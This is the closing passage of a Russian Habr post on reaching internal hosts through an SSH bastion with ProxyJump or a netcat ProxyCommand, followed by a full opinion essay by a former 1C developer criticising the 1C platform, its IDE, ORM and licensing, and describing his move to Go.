Host *.computer.internal
ProxyJump bastion.example.com
User carl
```
Затем я просто запускаю `ssh cloud.computer.internal` для подключения к внутреннему назначению через bastion — без переадресации агента.
**Если ProxyJump не работает…**
Более старые версии SSH и SSHD (до версии 7.2, выпущенной в 2016 году) не поддерживают `ProxyJump`. Но вы можете выполнить эквивалентную операцию, используя `ProxyCommand` и [netcat](https://nc110.sourceforge.io/). Вот вам пример:
```
ssh -o ProxyCommand="ssh bastion.example.com nc %h %p" cloud.computer.internal
```
Магия здесь заключается в том, что SSH сам по себе является прокси-сервером, который вы используете для SSH. Часть `nc %h %p` просто открывает необработанное соединение сокета к `cloud.computer.internal` на порте 22. Стандартный ввод-вывод родительской команды ssh передается прямо в `ProxyCommand`, чтобы родительский ssh мог аутентифицироваться на внутреннем хосте через прокси-соединение.
---
Узнайте подробности, как получить востребованную профессию с нуля или Level Up по навыкам и зарплате, пройдя онлайн-курсы SkillFactory:
* [Курс «Профессия Data Scientist» (24 месяца)](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=DSPR&utm_term=regular&utm_content=23052000)
* [Курс «Профессия Data Analyst» (18 месяцев)](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=DAPR&utm_term=regular&utm_content=23052000)
* [Курс «Python для веб-разработки» (9 месяцев)](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=PWS&utm_term=regular&utm_content=23052000)
### Читать еще
* [450 бесплатных курсов от Лиги Плюща](https://habr.com/ru/company/skillfactory/blog/503196/)
* [30 лайфхаков чтобы пройти онлайн-курс до конца](https://habr.com/ru/company/skillfactory/blog/503212/) | https://habr.com/ru/post/503466/ | null | ru | null |
# Почему уходят из 1С?
Всем привет. Я – бывший разработчик 1С. Я устал от 1С и его ограничений, свой "каминг-аут" я совершил в середине 2021 года.
Периодически меня мучают "фантомные боли", и я захожу на сайты 1С-ной тематики в надежде, что в очередном релизе платформы 1С (по сути, это стековая виртуальная машина, как, например, JVM) наконец-то "смогли". Да, но нет.
Взять хотя бы реализацию регулярных выражений в платформе – в других ЯП процессор регулярок представляет из себя отдельный класс, в котором определены методы для обработки строк. Видимо, 1С-программисты не достойны ничего, кроме трех куцых функций.
Или недавно прочитал, что при ТиИ (процесс тестирования и исправления базы данных) данные копируются на клиентский компьютер для анализа.
Такие находки отрезвляют меня и возвращают к реальности.
Недавно я наткнулся на [статью Андрея Овсянкина](https://infostart.ru/1c/articles/1735489/), где он вкратце сказал, что 1С-программисты – мушкетеры, а программисты из других стеков – слепые котята.
Я решил написать "ответочку", поскольку у меня есть обширный опыт в IT.
Я программирую уже более 20 лет, а самое главное – я видел программистов из обоих миров.
Про взаимоотношения бизнеса и IT-специалистов
---------------------------------------------
В начале статьи Андрей представляет бизнесменов как недальновидных людей, которые ничего не хотят понимать, и им приходится "терпеть" чересчур заумных IT-шников. Почему именно программисты? То же самое можно сказать про отношение к любым высококвалифицированным специалистам. Обычно такое поведение присуще ларечникам, которым IT не нужен, или когда автоматизация делается ради галочки, без реальной необходимости.
Однако же в стране работают не только ларечники, а есть средний и крупный бизнес, который понимает ценность автоматизации процессов. В одной из таких компаний я сейчас работаю. У нас очень комфортный офис, есть закрепленный из кадров человек и даже штатный психолог. Кроме того, компания сознательно набирает Junior- и даже Trainee-специалистов, ссылаясь на то, что они создают молодых специалистов на рынке.
Да, бывает и такое.
Еще одна причина, по которой бизнес недолюбливает программистов – срыв планируемых сроков, недопонимание аналитиками требований и того, что напрограммировали в итоге.
В таких ситуациях виновата вся цепочка: руководители отделов – в том, что выстроили методологию разработки некорректно, например, спринты слишком длинные; бизнес-аналитики – в том, что некорректно поняли функциональные требования заказчика; программисты – в том, что бездумно кодили по ТЗ и не сообщили руководству о явных нестыковках.
Если же требования собраны корректно и на предприятии работают профессионалы, обычно сроки соблюдаются и пишется то, что ожидалось.
В статье Андрея однобокий взгляд на вещи, что-то из 90-х – вокруг ларечники, и программист всегда виноват.
Еще утверждается, что если уйти из 1С в другой стек, ничего не поменяется, всегда будут авралы и не будет никакого удовольствия.
Как я вкатился в 1С
-------------------
Кратко расскажу про свой путь в 1С-болоте. В далеком 2009-м я вкатился в 1С, в провинции просто не было другого способа попасть в IT. Я решал типовые задачи на БП, УТ, ЗУП в местном франчайзи (самая натуральная 1С-галера, много заказчиков, нужно быстро решать задачи, прокачиваешься в скорости, но не в качестве кода). Через полтора года я ушел на фриланс. Проработал так около 8 лет. Дорабатывал, в основном, УТ 10.3 (решение 1С для управления оптовой торговлей), создал множество самописных конфигураций (то есть решений с нуля) на основе БСП (платформенный фреймворк от 1С).
Через пару лет, помимо фриланса, я взял на постоянную поддержку предприятие, где генеральный директор сходил на сеанс гипноза в местный франчайзи и ему там внушили, что срочно нужно переходить с УТ 10.3 на УТ 11 (которая внутри совершенно другая). Непонятно зачем, но надо.
Переубедить я его не смог, да и сам процесс был запущен, предыдущий программист как раз уходил оттуда. Видимо, по причине того, что не справлялся. Там я впервые столкнулся с кондовым отделом бухгалтерии, с тетеньками 50+, у которых программист всегда виноват и в апреле (время сдачи налоговой отчетности) всегда аврал.
Через год УТ 11 успешно была внедрена. На тот момент я решил, что хватит с меня типовых, от задач в УПП/ERP (самое главное решение от 1С) и ее компонентах (УТ, БП, ЗУП, КА) уже подташнивало.
И что бы мне ни говорили 1С-программисты, большая часть их задач лежит в этом заколдованном круге кусочков большой конфигурации. Это либо отчеты, призванные показать руководителю все в одном месте, либо обработки, призванные упростить какую-то хозяйственную операцию, либо отдельная подсистема, чтобы автоматизировать "уникальный бизнес-процесс", либо просто корректировка бизнес-процессов предприятия так, чтобы они ложились в типовую конфигурацию. Как это может не надоесть?
Что можно, а что нельзя на 1С
-----------------------------
Как мы знаем, язык 1С компилируется в байт-код подобно другим стековым виртуальным машинам вроде Java, .NET. Кстати, выражаю респект Андрею Овсянкину за его OneScript. Я бы такое не написал.
На 1С не сделать исполняемый файл без зависимостей от вендора. Если та же условная Java дает на выбор целую кучу реализаций JVM, даже GraalVM Native Image, то 1С не дает ничего. Никак не сделать что-то по-настоящему низкоуровневое. Не подключиться к системе, работающей на транспортном уровне TCP/IP без внешних компонент.
При этом писать мультиплатформенные внешние компоненты – дело неблагодарное. Куда чаще в коде конфигураций встречаются COM-объекты, что загоняет решение в определенные рамки одной ОС.
gRPC поддерживается уже в 1С? Что-то мне подсказывает, что нет.
Развернуть 1С в docker-контейнере? А что там с лицензиями? В 2018-м наблюдал, как пару дней коллега пытался завести 1С в docker. Больше всего проблем возникло именно с подключением лицензий из bash.
Как долго ждать нормальной асинхронности (то, что в go называется горутинами, green threads на Java, корутинами в C#) на клиенте?
С веб-сокетами из 1С уже можно работать без внешних компонент?
Как сильно кастомизировать внешний вид UI чисто на 1С? Если нужен свой веб-клиент, его придется писать на Javascript.
Парсер HTML с поддержкой динамических страниц? А как завести Chromedriver или Selenium из 1С?
Нейронные сети, ML и это вот все. PyTorch, Keras из коробки уже завезли?
Возможно, часть из этого можно сделать на 1С, просто у меня не хватает знаний. Если так, то прошу меня поправить в комментариях.
1С – это CRUD для малого и среднего бизнеса, где обычно много табличек. Если нужны таблички с красивой визуализацией, то фреймворк 1С очень круто справляется с этой задачей, но как только нужно отойти немного в сторону, начинаются костыли. Возьмем, к примеру, систему компоновки данных или СКД. СКД – некий построитель отчетов, а ля Jasper Reports, только урезанный и встроенный в ВМ 1С.
В ней можно задать несколько выборок (результирующих таблиц), либо в виде read-only SQL запроса или из объектов в памяти, указать связи между ними по полям одного типа, псевдонимы и заголовки этих полей в результирующем отчете, параметры группировки полей, добавить какие-то дополнительно вычисляемые поля из тех, что заданы в дата-сете, указать параметры форматирования этого дела и вывести на экран в виде таблиц, графиков. Очень удобно, согласен.
В интерактивном режиме пользователь может накладывать отборы по полям, которые выводятся в отчет, отключать их вывод, задавать параметры группировки, сортировки строк в отчете.
Поскольку отбор зачастую не ограничивается при разработке, пользователь может запросто повесить базу отчетом с бесконечным периодом в отборе. Но это еще полбеды, программист может вмешаться не во все этапы формирования отчета, и иногда при формировании SQL запроса вылезают забавные глюки, например, когда платформа 1С "подумала" за нас и убрала скобки в операторе WHERE, что привело к некорректной работе этого условия. Не знаю, поправили ли этот баг, скорее всего, нет.
Кстати о настройках – есть 3 варианта настроек: дефолтные, фиксированные и заданные пользователем. Иногда при пересечении фиксированных и сохраненных ранее пользователем настроек выдается сообщение об ошибке, что 1С не знает, что с этим делать. Для пользователя это совершенно не понятная информация, он пытается понять, что это за «фиксированные» настройки и что пошло не так, причем пользоваться отчетом при этом нельзя – нужно сбрасывать настройки на дефолтные.
Еще знатно приседать приходится, когда нужно отобразить не обычную таблицу, а «как в Excel документе». Такие таблички очень любят всякие эффективные менеджеры.
И это только один из примеров универсальной технологии от 1С. В плане велосипедостроения вендор иногда все же идет по более легкому пути и делает обертку над технологиями из большого IT. И похоже, что это делается, чтобы посильнее привязать специалиста 1С к этой экосистеме. Других объяснений я не нахожу.
Что там с IDE?
--------------
В мире 1С существует 2 IDE. Первая – православный, непоколебимый конфигуратор. Тут все в духе 1С: возможности, как у IDE из 90-х, очень долгий поиск по модулям (сущности с кодом), нет поиска с учетом регулярных выражений. Вечно приходится ждать, теряя самый драгоценный ресурс в жизни человека, даже на небольших проектах. Заходишь в конфигуратор и ждешь, запускаешь режим 1С Предприятия (то есть режим, в котором виртуальная машина 1С исполняет написанный код) и ждешь. А иногда и не заходишь даже, получаешь какие-то непонятные ошибки, для исправления которых приходится лезть в ТЖ (технологический журнал – технический лог виртуальной машины 1С). Это нормально? Открываешь журнал регистрации (технический лог транзакций внутренней ORM 1С) и происходит что-то необычное? Да нет, все так же ждешь. Как я мог не вспомнить про этот шикарный поиск по журналу регистрации! За время ожидания можно сходить "туда и обратно". Прошу заметить, что на том же оборудовании VS Code и Golang летают.
А что насчет "обновлений нетиповой конфигурации" (то есть тиражного решения с доработками других программистов)? Поскольку в git коммит – это атомарная транзакция, а не целый текст модуля, это позволяет определить изменения точечно, а уж про cherry-picking не стоит говорить, в конфигураторе без костылей такое невозможно.
Может быть, я зря нагнетаю, но в каком-нибудь настоящем ЯП вы видели, чтобы костыли, которые улучшают IDE, продавали за деньги? Это я про Турбоконф и Снегопат (костыли для IDE от сторонних разработчиков). Причем Александр Орефков (автор Снегопата) рассказывал, что вендор предлагал ему работу. То есть 1С знает о происходящем, но ничего не меняет. Еще один плевок в лицо сторонников платформы 1С. Ничего, им не привыкать, они утрутся.
А что по совместной разработке? Думаете, они просто взяли и стали использовать git? Ахаха, как бы не так!
Очередная многоходовочка от разработчиков платформы – они создали собственную self-hosted VCS, которую назвали «хранилище конфигураций».
Все это очень похоже на SVN. В данном творении минимальной блокируемой единицей является общий модуль 1С, который представляет из себя кусок кода, инкапсулированный в один текстовый файл с уникальным именем, например, «ОбщегоНазначения». Из-за невозможности создания собственных классов в 1С в таких модулях может храниться довольно разнообразный функционал. Подход с блокировкой большого куска кода выливается в невозможности нескольких разработчиков работать над одним модулем, что вынуждает программистов, которым не повезло редактировать одно и тоже место, поочередно выпрашивать разблокировать редактируемый модуль.
В апреле 2015 года 1С сама же уткнулась в устаревшую IDE и решила сделать все правильно. Они придумали новую IDE на основе Eclipse и назвали ее EDT. Сделано в лучших традициях вендора – все для богатых, высокие системные требования, но все равно довольно низкая скорость интерфейса.
Последний раз, когда я в ней работал, EDT из-под себя вызывала конфигуратор.
Разработка идет до сих пор. И да, там все-таки завезли git.
Эх, если бы дело было только в git’е.
Как ушел из 1С
--------------
В 2018-м мне подвернулась вакансия, где нужно было писать нетиповые конфигурации. По сути, мое бегство от 1С началось уже тогда, я стал решать нетиповые, более технологичные задачи, но на знакомом мне стеке.
С ребятами из других стеков мы делали решение для сбора и анализа данных на одном из перспективных рынков.
Я заметил, что авралов и неадекватной постановки задач стало намного меньше.
Соглашусь с Андреем, что дело не в 1С, а в людях, которые работают в типовых конфигурациях. Но почему-то именно в 1С таких заказчиков очень много.
В течение пары лет разработки нетиповых конфигураций я часто сталкивался с ограничениями фреймворка 1С. Под капотом у него те же библиотеки из взрослого программирования, что подтверждают чисто технические тексты ошибок, которые иногда выдают компоненты 1С.
Кроме того, нетиповые составляют очень маленький процент рынка труда. Мне пришлось искать работу летом 2020-го года. На одном известном сайте было всего 6 вакансий, где требовалась разработка нетиповых. Ограничения фреймворка 1С и "огромное" количество вакансий еще больше оттолкнуло меня от этой экосистемы.
Я начал учить Java, написал на ней пару пет-проектов, а потом еще и на Golang, который мне очень понравился. После написания очередного пет-проекта я составил резюме на Golang, прошел собеседование и получил хороший оффер на позицию Middle Golang разработчика. Мне дали +25% к тому, что я уже зарабатывал на 1С.
По прошествии полутора лет могу перечислить, что же изменилось:
* Мне не нужно разбираться, почему в бухгалтерии очередная цифра не так считается.
* Мне не нужно разбирать ошибки после очередного кривого обновления платформы или конфигурации, и да, делать это "вчера" не нужно.
* Мне не нужно знать 100500 противоречащих друг другу законов, которые успел напечатать бешеный принтер.
* Мне не нужно знать, чего же там еще накрутили в платформе, почему я не могу обойти ее недоработки.
* Мне не нужно очищать кэш пользователей или свой кэш, или еще какой-то кэш!
* Мне не нужно перезапускать сервер предприятия 1С.
* Рабочий день состоит на 30% из общения с PM'ами, 20% code review и 50% чистого программирования.
Если попробовать обобщить – это свобода от 1С, костылей, которыми она обросла, и "болота" типовых конфигураций.
Соглашусь, что многое зависит от работодателя, но работать стало легче при всех прочих равных.
К 1С-нику зачастую отношение как к обслуживающему персоналу, и не надо мне тут про "как себя поставишь". Даже если всех "приструнить", осадочек останется. Я знаю, я делал это.
В настоящем программировании меньше общения с пользователями твоего творения, на текущем месте работы его нет. В моем случае тезис Андрея про "ваши заказчики всегда будут вас раздражать" явно не к месту.
"Настоящих программистов" стараются не обижать – уютный офис, психолог, тет-а-тет с тимлидом раз в неделю, где меня спрашивают, хорошо ли мне. В 1С такого никогда не было и, думаю, не будет.
Подводя итог, скажу, что с точки зрения удовольствия работа программиста на другом языке выгодно отличается от работы 1С-программиста.
Все это разнится с картиной мира Андрея, там у среднего программиста постоянная депрессия, он всегда уставший, злой и неудовлетворенный.
Кто тут самый умный
-------------------
Умнее/глупее – примитивное сравнение. За неимением статистики попробую сравнить себя с коллегами.
Тимлид моей команды, как раз "настоящий backend программист", у которого 10+ лет опыта. Он знает пару ЯП для backend разработки, знает про шаблоны проектирования, разбирается в тонкостях работы различных СУБД (в том числе нереляционных), знает про балансировку нагрузок, умеет пользоваться bash, git, CI/CD, Kubernetes и может сделать что-то простенькое на JS, React или Vue. Кроме того, у такого специалиста может быть более разносторонний опыт в архитектурном плане, а не только написание CRUD приложений для бизнеса.
Все ли из вышеперечисленного умеет средний 1С-программист с опытом 10+ лет? Может, кто-то и может, я – нет.
Очень жаль своего времени, потраченного на vendor-lock'нутый CRUD-фреймворк, жутко разросшийся с годами.
"Настоящие программисты" заморачиваются с SOLID? Как написано в книжке "Совершенный код" Стива Макконнелла, "Самые дорогостоящие ошибки – это ошибки проектирования". Мой опыт в программировании подтверждает этот тезис. Если другой ЯП дает возможность грамотно спроектировать иерархию классов / структур / зависимостей, почему бы этого не сделать сразу, чтобы потом не было мучительно больно?
А что дает 1С для структуризации кода? Общие модули? Смешно, ей-богу. Это то, что в Java и Golang называется пакет, но код нужно держать в одном файле, т. е. очередная насмешка над 1С-программистами со стороны вендора.
"Настоящие программисты" заморачиваются со сложностью алгоритмов? И правильно делают. Сложность алгоритма явнее видна на больших объемах. Если не думать об алгоритмической сложности или подкапотной работе с типами, например, можно на конкатенации большого объема строк ждать 8 часов (вместо 20 минут после оптимизации). Однажды я словил такую неприятную особенность 1С на продуктиве. Это было больно.
И если взять 1С – что плохого в использовании даже тех малых возможностей по выбору структур данных, которые предоставляет фреймворк 1С? Иногда лучше использовать соответствия (хеш-таблицы) вместо массивов (динамические массивы).
Не вижу ничего плохого в том, чтобы заблаговременно обойти острые углы. Это называется планирование.
Ограничения 1С работают во благо
--------------------------------
"Настоящие программисты" много думают про техническую реализацию? Думаю, это потому, что их предыдущий опыт подсказывает, что и где может сломаться. Что плохого в том, чтобы проанализировать время добавления в список? Это влияет на UI и UX от конечного продукта.
В настоящих ЯП это можно сделать, в отличие от фреймворка 1С, где в замере производительности не видно времени ожидания, пока XML-ки с данными формы переедут по сети с сервера на клиент. Повлиять на объем этой передачи можно лишь косвенно – втыкая кеширование везде, где можно и обмазывая код формы директивами бесконтекстной передачи данных.
Поэтому даже на SSD-дисках и многоядерных процессорах формы списков в типовых конфигурациях открываются по 5 секунд, и ничем это не исправить, так как у 1С-программиста таких средств просто нет, и жадный вендор не планирует менять положения вещей.
Легче ведь сказать, что "ограничения платформы во благо".
Я не знаю, как при таком объеме планируемых деталей реализации можно потерять из виду понимание того, зачем ставится задача.
"Настоящие программисты реально не понимают, что нужны не код и не программа, а достижение цели"? Градус безумия повышается, сложно комментировать такие "заказные" суждения.
Могу рассказать, как разработка ведется на моей работе.
* Сначала бизнес-аналитики снимают требования с бизнеса, хотя это можно сделать самому. Будучи 1С-программистом, когда мне приходилось писать собственные решения, я сам ходил по отделам и собирал требования. Ничего сложного в этом не вижу.
* Почему я мог это без труда сделать, а "настоящий программист" не может?
На основании первичных требований создаются "истории" в Jira. После изучения этих "историй" на коллективные встречи собираются аналитики, дизайнеры и руководители подгрупп разработки, обычно это ведущие программисты. Подгруппы формируются по какой-то доменной области в приложении.
* На встречах аналитики дают требования, руководители подгрупп получают информацию о том, что в конечном итоге должно быть в программе, и продумывают, как сделать так, чтобы пользователям было удобно. Возможно, собираются вместе с программистами из своих групп.
* На основании встреч аналитики пишут/дорабатывают спецификации. И так несколько итераций до достижения ясности того, как функционал должен работать и выглядеть.
* После чего ставятся задачи на доработку программистам. Если ясности нет, ставится задача на "изучение проблемы".
Я согласен с таким подходом. Я не пишу код, если не понимаю, чего нужно достичь в итоге. Мой опыт говорит, что когда автоматизируешь хаос, получаешь автоматизированный хаос.
Как можно автоматизировать то, чего до конца не понимаешь? Кто в понимании Андрея "настоящий программист"? Сферическая макака в вакууме?
Даже не знаю, чем провинились именно Java, .NET и PHP-программисты, что их выбрали в качестве козла отпущения в оригинальной статье.
Автор каким-то образом даже подсчитал, что именно 80% из них не думают, когда программируют. Наверное, у него есть какая-то статистика, которую он вручную собирал.
А чего тогда не сразу 140% всех программистов, кроме 1С-программистов? Если уж "топить", то до талого.
При запуске модули не стыкуются, пересылается не то, и в целом происходит караул? Так скорее пишутся типовые конфигурации, иначе как объяснить ошибку, которую я нашел в коде УТ 11 после очередного обновления от вендора.
При проведении не очень популярного документа, кажется, это было "Перемещение товаров". Ошибка возникала в коде условия, при инициализации служебной структуры в ней были переименованы некоторые ключи. Ниже по коду значения этих ключей вытаскивались из структуры через кавычки в квадратных скобках. Все бы хорошо, но в ветке "Если" названия ключей были переименованы, а в ветке "Иначе" забыли переименовать.
А почему? Потому что строка в "Иначе" "уехала" за видимую область экрана в конфигураторе.
И это, на минуточку, в тиражном решении, купленном за деньги. Ленивые и жадные. Да, это про 1С.
В ЯП, которые компилируются в машинный код, такая ошибка просто не пережила бы сборку проекта.
В других "настоящих" ЯП для защиты от подобных ошибок есть модульные и интеграционные тесты, которые упадут в CI/CD pipeline при коммите.
Да, в 1С есть автоматизированное тестирование, Vanessa и другие инструменты. Но почему даже вендор не использует их? Почему тестирование остается уделом небольшой части энтузиастов?
Фреймворк 1С помогает в мелочах, о которых 1C-ники даже не задумываются? Все это действительно так, пока пишешь небольшую конфигурацию для знакомого из соседнего подъезда, там, где нет особых пожеланий по скорости или масштабируемости решения.
А когда бизнес усложняется, почему-то формула 1С перестает работать. Недавно жадный вендор все-таки придумал кое-что для масштабирования – Дата акселератор. Правда, это было сделано в свойственной 1С манере, разделив функциональность на ПРОФ и КОРП лицензии. Двух зайцев сразу – придумали костыль и заодно потоптали людей, симпатизирующих платформе.
Нельзя же просто взять и сделать в платформе библиотеки для низкоуровневого взаимодействия на уровне TCP/IP с каким-нибудь существующим во взрослом программировании решением.
Это не 1C way, 1С way – как у афроамериканских реперов – деньги превыше всего, даже здравого смысла. А иначе зачем 1С придумывать свою шину обмена сообщениями, свою in-memory БД + OLAP в виде Дата акселератора, свой Skype в виде "Системы взаимодействия". Что дальше? Социальная сеть 1С? Каждый раз удивляюсь находчивости вендора – а как это нельзя, если на самом деле можно?
Насколько убого сделано распараллеливание, даже говорить не стоит. Это оскорбление IT-инженеров, какой-то костыль в виде чтения сообщений из другого сеанса, порождающий решения в виде сбора сериализованных данных оттуда. Это еще ничего.
Самое смешное, что на каждый недопоток или "фоновое задание" требуется лицензия. Шах и мат, 1С-ники! Многие предприятия просто ставят взломанный сервер 1С предприятия, то есть фактически нарушают закон. Так вендор заботится о людях, которые покупают их продукты? Вкусно и точка! Кушайте, не обляпайтесь.
Если мне не изменяет память, при одновременной работе более 1000 фоновых заданий, метод "ПолучитьФоновыеЗадания" отдает только первые 1000 из них. А зачем вам больше? Вы что там, биткоины майните? Хотя что это я нагнетаю. Вон, в 22-м релизе 1С завезли community edition, а также функции замены строк и логарифмы в запросах. Так можно и с колен подняться. Остановитесь!
ORM в 1С – самый лучший
-----------------------
Вернемся к тезисам про "благие ограничения платформы 1С". В оригинальной статье указано, что когда в 1С одна база данных – это хорошо. Я, кажется, понял: 1С – это российский Apple, ведь если Ваш автомобиль не поворачивает, Вам этого не нужно.
Поэтому в 1С мы пилим "монолитного монстра", которого пересаживаем на Дата Акселератор, и платим за КОРП лицензию, когда он станет слишком неповоротливым из-за огромных размеров.
В одной из высоконагруженных самописных конфигураций, с которой я имел дело, один из разработчиков, работавший ранее в одном из операторов связи, пришел к прямому чтению данных 1С из MS SQL. И это работало быстрее, чем платформенный ORM. Представляете, что за безумие творится под капотом 1С? Ограничения во благо. Повторяем, даже если звучит убого.
Еще в 1С нет соблазна налепить интеграцию "прочитаем из базы соседей"? Где, а главное – в окружении кого работал Андрей? Если обратиться к замечательной книжке про переход от монолита к микросервисам, там на первых же страницах написано: "Не давайте прямого доступа к внутренностям вашего сервиса и проектируйте ваш API, исходя из потребностей пользователей, а не ваших догадок. Контракты API должны содержать только те данные, без которых не обойтись".
Этот подход позволяет избежать ситуаций, когда "другая команда удалила или переименовала какую-нибудь колонку в своей базе, и у вас все отвалилось".
Но, видимо, в мире, где "такие интеграции в порядке вещей", подобные и очевидные архитектурные приемы еще предстоит открыть. И, разумеется, "они не будут вас уведомлять об изменениях". Разумеется, вокруг враги, а еще все врут.
На моем предприятии ни у одного из более 2000 микросервисов нет прямого доступа к БД. Даже там, где нужно что-то прочитать из одной известной СУБД, сверху прикручен API, который ставит запросы в очередь.
Так что ходить в базу другого сервиса – это норма жизни разве что для распределенного монолитного приложения, в микросервисной же архитектуре это жуткий антипаттерн. Этот тезис даже закреплен в общем положении по микросервисам для IT-подразделения о том, как делать "хорошо", чтобы не было "плохо".
Поговорим про ORM. По мнению Андрея, в 1С ORM работает близко к идеалу. Это не совсем так. Данные мы читаем через read-only SQL образца прошлого века, а пишем исключительно через методы-обертки. Кстати, надеюсь, 1С через пару десятков лет разрешит добавлять произвольный отбор в набор записей (таблица с данными для СУБД) регистра сведений (один из классов-оберток встроенной ORM) с несколькими измерениями (индексированные поля в этом классе). Было бы неплохо, имея разнородный набор данных, не прибегать к построчной записи через менеджер (в других ЯП это называется record, "upsert" размером с одну строку).
Судя по тому, что я видел в технологическом журнале – при сохранении набора записей сначала вызывается DELETE \* FROM TABLE WHERE с условием отбора по измерениям. Потом делается INSERT в таблицу БД.
Уважаемые разработчики платформы, только сначала доделайте интеграцию с WhatsApp, а 1С-программист пусть пострадает, он же почти как художник. Шедевры рождаются в муках – видимо, по такому же принципу пишутся типовые конфигурации.
В 1С ORM фреймворк самый лучший, потому что единственно доступный. Для той же условной Java есть Hibernate, MyBatis, Sql2o. В Golang есть Beego, GORM. Каждый фреймворк можно подобрать для конкретной задачи. Если очень надо, то можно отказаться от ORM или писать Native SQL-запросы в том же Hibernate. А в 1С можно написать SQL-запрос для создания или изменения сущности? Конечно, нельзя, иначе неопытные однорукие программисты 1С сломают гениальные абстракции над табличками в виде регистров накопления, бухгалтерии, расчетов.
В 1С все стабильно, розовые пони скачут по облакам 1C Fresh – "мы пользуемся объектной моделью и даже не задумываемся о том, как эти данные забираются из базы". Если никто не задумывается, то что же заставило в недрах БСП появиться функции "ОбщегоНазначения.ПолучитьЗначениеРеквизита"?
1С не пытается замести под ковер язык SQL? Из того, что я вижу на форумах, 1С-программисты пару десятков лет просят вендора добавить функциональности, которая давно существует в обычном SQL. Так что вендор, скорее, боится разработчиков 1С, поэтому осторожно разрешает read-only операции, а то вдруг эти люди поверят в себя и попросят еще больше. Согласен, не надо так.
С самых первых курсов, с младых ногтей всех 1С-ников натаскивают на производительность запросов и их оптимизацию? Именно поэтому, придя в одну из обслуживаемых мною далее фирм, я увидел SQL запрос с 60 временными таблицами, который написал уволившийся 1С-программист. Хранить вспомогательные данные не нужно. Это усложняет систему.
Разработчики ORM пытаются совсем спрятать от программиста язык SQL? Да, эти негодяи, придумавшие Hibernate, спрятали его аж в двух местах! Ясно же, решили запутать следы. Сначала сделали анотацию @NamedNativeQuery, а потом еще и в EntityManager сделали метод createNativeQuery. Я до сих пор не знаю, какой из способов использовать. Знаете ли, это работа для IT-специалистов уровня Senior.
Мало того, что спрятали SQL, так еще и "генерируют миллион запросов в цикле, о которых программист даже не подозревает". Да, но все-таки в Hibernate не до конца последовали зловещему плану, потому что забыли запретить настраивать уровень логирования запросов к БД. Ведь кто-то догадается и увидит запросы в логах. Но, как мы знаем, в описываемом Андреем мире у программиста прокачан навык телепатии, логи ему не нужны.
Для 1С наименование ссылки – это примитивная вещь? Да, поэтому в БСП ее достают через функцию с анализом метаданных, читай рефлексией, ненапряжно совсем. Все так делают.
Другие программисты не умеют строить модели данных и очень плохо проводят границы между доменами? Фи, а чего еще ожидать от 80% Java, .NET и PHP-программистов? Они без ТЗ, свитшота и смузи кринжуют, падают с моноколес, какое там IDE открыть. Остановите это безумие!
"Настоящие программисты" не умеют разделять бизнес-процессы на домены? Ладно, мы уже поняли, что 1С-ник – человек-швейцарский нож, а остальные – пыль. Мне понравился класс, приведенный Андреем на слайде:
```
// Заказчик
public class Customer
{
// Ссылка
int Id { get; set; }
// Наименование
int Name { get; set; }
// ИНН, КПП, ОГРН и пр.
// Встроить этот класс в ту же таблицу - геморрой.
LegalAttributes LegalAttributes { get; set; }
// Ссылка на банк (чтоб легло в базу)
int BankId { get; set; }
// Банк-объект со всеми реквизитами (чтобы в коде работать)
Bank Bank { get; set; }
// Все заказы клиента
// да, прямо в клиенте, а чо, легко же сделать
// да, будут считаны все сразу из базы, если не предпринимать действий.
List Orders { get; set; }
}
```
При беглом осмотре сразу возникает вопрос к наименованиям. Так заказчик или клиент? Попробую предположить, что, скорее всего, второе, ведь customer'ами кличут клиента системы. В уже упомянутой книжке Макконнелла целая глава посвящена внятным именам сущностей в коде. А то и не одна.
Идем дальше. А для какого уровня в приложении этот класс?
Если это транспортный уровень (transport в backend) или тот же слой представления (view во frontend), то зачем хранить BankId отдельно от сущности Bank?
Нужна ли информация о банке клиенту API или для отрисовки? Если в API или просто на frontend отдаются заказы, то почему нет атрибутов пагинации вроде ID последнего заказа из запроса и количества запрашиваемых заказов? Зачем в принципе отдавать заказы клиента вместе с информацией о нем?
Почему нельзя дать потребителю выбрать, когда он хочет забрать эти данные?
Если это уровень сервиса, то зачем хранить заказы внутри сущности клиента? Если бы у меня стояла такая задача, я бы вытаскивал заказы клиента по кусочкам только тогда, когда они мне реально нужны. Ведь если вытащить сразу все, мне прилетит предупреждение о том, что я израсходовал 100500 GB памяти на сервере. В текущей компании сначала меня пожурят, а затем попросят поискать другое место работы.
Без особой необходимости не нужно ничего оптимизировать. Нужное количество заказов можно вытащить, когда они понадобятся, и обработать их. Необходимо как можно меньше выделять память, тогда будет меньше вызовов сборщика мусора, меньше запросов к БД, меньше сетевого траффика. Это же так очевидно.
Даже если мне внезапно захотелось вытащить все заказы клиента из базы, почему бы не попросить Hibernate делать это, когда есть обращение к getter'у поля Orders с помощью параметра анотации @ManyToOne(fetch = FetchType.LAZY)?
Если это уровень репозитория, то почему так много полей из разных таблиц БД в одном классе?
Ответ на мои вопросы кроется в оригинальной статье, в утверждении "Они не умеют проектировать модель данных". А, понял, все не умеют. Или все же "кто-то умеет, но в среднем – нет"? Да, но нет?
Дядюшка Стив, чью фамилию вы угадаете сами, говорил, что "код в пределах одного модуля должен работать на одном уровне абстракции". Видимо, на такие мелочи не разменивались коллеги Андрея.
Про индексы и DBA
-----------------
Клиент-серверное взаимодействие в 1С. Это мое любимое.
Еще в бытность 1С-ником я оптимизировал UI в рабочем месте сборщика заказов в УТ 11, потом в самописной конфигурации нужно было рисовать карты в поле HTML-документа. Мне пришлось погрузиться с головой в работу веб-клиента.
В статье или "оде" 1С – очередные жалобы на недокоммуникацию между frontend и backend разработчиками. Я уже сбился считать тревожные звоночки. Разработка представляется паноптикумом – backend'еры не умеют анализировать и общаться с БД и разделять бизнес-логику по доменам, PM'ы постоянно бегают под ногами со своими сроками, DBA молча добавляют индексы в БД, frontend'еры "просто хотят рисовать кнопочки", а сверху сидит ларечник, который никому не хочет платить.
Оказывается, чтобы добавить галочку в этой обстановке, "нужно будет составить ТЗ, проверить результаты работы фронтендеров, провести интеграционное тестирование". На текущем месте работы вот как мы это делаем. У нас еще хуже, чем frontend на Javascript. У нас мобильное приложение, которое так просто, как веб-страницу, не обновишь.
